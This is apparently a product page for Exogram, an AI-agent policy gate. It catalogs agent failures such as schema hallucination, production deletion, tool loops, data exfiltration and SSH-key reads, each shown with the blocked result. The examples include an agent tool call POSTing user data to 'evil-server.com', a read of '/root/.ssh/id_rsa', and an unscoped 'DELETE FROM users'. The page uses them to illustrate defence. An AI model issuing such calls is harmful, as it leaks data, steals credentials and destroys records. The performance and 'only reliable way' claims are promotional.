What is AI schema hallucination?

Schema hallucination occurs when an LLM invents parameters or fields that do not exist in the target database schema. For example, generating an "inferred_income" field that no table column accepts, causing silent pipeline crashes.

What is AI context collapse?

Context collapse is when an AI agent forgets its environmental constraints — like executing a DELETE FROM users query on production instead of the test environment. The model loses track of which context it is operating in.

Can prompt engineering prevent AI agent attacks?

No. Prompt engineering is a suggestion, not a security perimeter. LLMs are probabilistic — they can and will violate prompt instructions. Deterministic enforcement with code-based policy gates is the only reliable way to prevent destructive AI agent actions.

How does Exogram prevent AI agent failures?

Exogram intercepts every AI agent action before execution and evaluates it through 8 deterministic policy rules in 0.07ms. No LLM inference. No probability. Code-based logic gates that produce the same result every time. Blocked actions return precise error traces for automated recovery.

The Viral Engine — Share This

AI Fails Silently. Here Is Every Way.

A catalog of real, reproducible agent failures and how deterministic enforcement stops them.

Prompt engineering is not a security perimeter.

These failures are actively occurring in unprotected production systems today.

Zero Trust For AI

The Anatomy of a Silent Failure

AI without an execution boundary is like a production database without authentication. A single hallucination cascades into systemic data loss.

Step 1

Hallucination

→

↓

↓ EXOGRAM BLOCKS HERE

Step 2

Wrong Parameter

→

↓

Step 3

Unauthorized Action

→

↓

Step 4

Data Loss

Actively observed in production systems:

CRM Automation PipelinesFinancial Transaction HandlersInternal Data ToolingCustomer Support Agents

Common Failure Class

Case 1: The Schema Hallucination

The model decides to be helpful and invents parameters that crash downstream databases.

Probabilistic Output

{
  "name": "Alice",
  "age": 30,
  "inferred_income": "$100k"
}

⚠The Threat: Database rejects the unmapped inferred_income column. Pipeline crashes silently. No error reaches the user.

Exogram Enforcement

🛑 BLOCKED (0.07ms)

SchemaError: Field 'inferred_income' is strictly prohibited by the schema definition.

✓Precise error trace returned to the client for automated recovery. No guessing.

Risk: High | Exogram Protection: Native

▶ Replay this failure in Proving Ground

Common Failure Class

Case 2: Context Collapse — Destructive Mutation

The agent forgets its environmental constraints and attempts a mass deletion on production data.

Probabilistic Output

{
  "tool": "sql_compute",
  "query": "DELETE FROM users
            WHERE status = 'inactive';"
}

⚠The Threat: Query intended for test environment executed on production cluster. Catastrophic, irrecoverable data loss.

Exogram Enforcement

🛑 BLOCKED (0.07ms)

SecurityViolation: Mass deletion without explicit user IDs is prohibited on the production cluster.

✓Precise error trace returned to the client for automated recovery. No guessing.

Risk: High | Exogram Protection: Native

▶ Replay this failure in Proving Ground

Common Failure Class

Case 3: The Infinite Tool Loop

The model repeatedly calls an API with failing parameters, burning tokens and triggering rate limits.

Probabilistic Output

> Call: fetch_pricing(auth=null)
> Error: 401 Unauthorized
> Call: fetch_pricing(auth=null)
> Error: 401 Unauthorized
> Call: fetch_pricing(auth=null)
...

⚠The Threat: The model cannot recognize its own failure pattern. Orchestrators lack hard circuit breakers. Token spend spirals.

Exogram Enforcement

🛑 CIRCUIT BROKEN (0.07ms)

RateLimitViolation: Tool 'fetch_pricing' called 5 times in 2000ms with identical failing parameters.

✓Precise error trace returned to the client for automated recovery. No guessing.

Risk: High | Exogram Protection: Native

▶ Replay this failure in Proving Ground

Common Failure Class

Case 4: Data Exfiltration via API Call

The agent constructs an outbound API call to an untrusted domain, uploading user data.

Probabilistic Output

{
  "tool": "http_request",
  "method": "POST",
  "url": "https://evil-server.com/exfil",
  "body": "user_data=..."
}

⚠The Threat: Stolen PII, credentials, or proprietary data POSTed to an attacker-controlled server. No audit trail.

Exogram Enforcement

🛑 BLOCKED (0.07ms)

ExfiltrationGuard: Outbound API call to untrusted domain 'evil-server.com' is prohibited.

✓Precise error trace returned to the client for automated recovery. No guessing.

Risk: High | Exogram Protection: Native

▶ Replay this failure in Proving Ground

Common Failure Class

Case 5: Privilege Escalation via Filesystem

The agent attempts to read SSH keys, /etc/passwd, or system configuration files.

Probabilistic Output

{
  "tool": "file_read",
  "path": "/root/.ssh/id_rsa"
}

⚠The Threat: Credential theft enables lateral movement. The agent gains access beyond its intended scope.

Exogram Enforcement

🛑 BLOCKED (0.07ms)

FilesystemGuard: Access to /root/.ssh/ is strictly prohibited. Privileged paths are blocked.

✓Precise error trace returned to the client for automated recovery. No guessing.

Risk: High | Exogram Protection: Native

▶ Replay this failure in Proving Ground

The Pattern

Every failure shares the same root cause: the execution layer trusts the probabilistic output. Prompt engineering is a suggestion. System prompts are a suggestion. Tool descriptions are a suggestion. None of them are enforceable contracts.

Exogram replaces suggestions with deterministic logic gates — Python code that evaluates in 0.07ms, produces the same result every time, and returns precise error traces for automated recovery.

0.07ms

Evaluation Time

False Negatives

Policy Rules

134 RPS

Production Throughput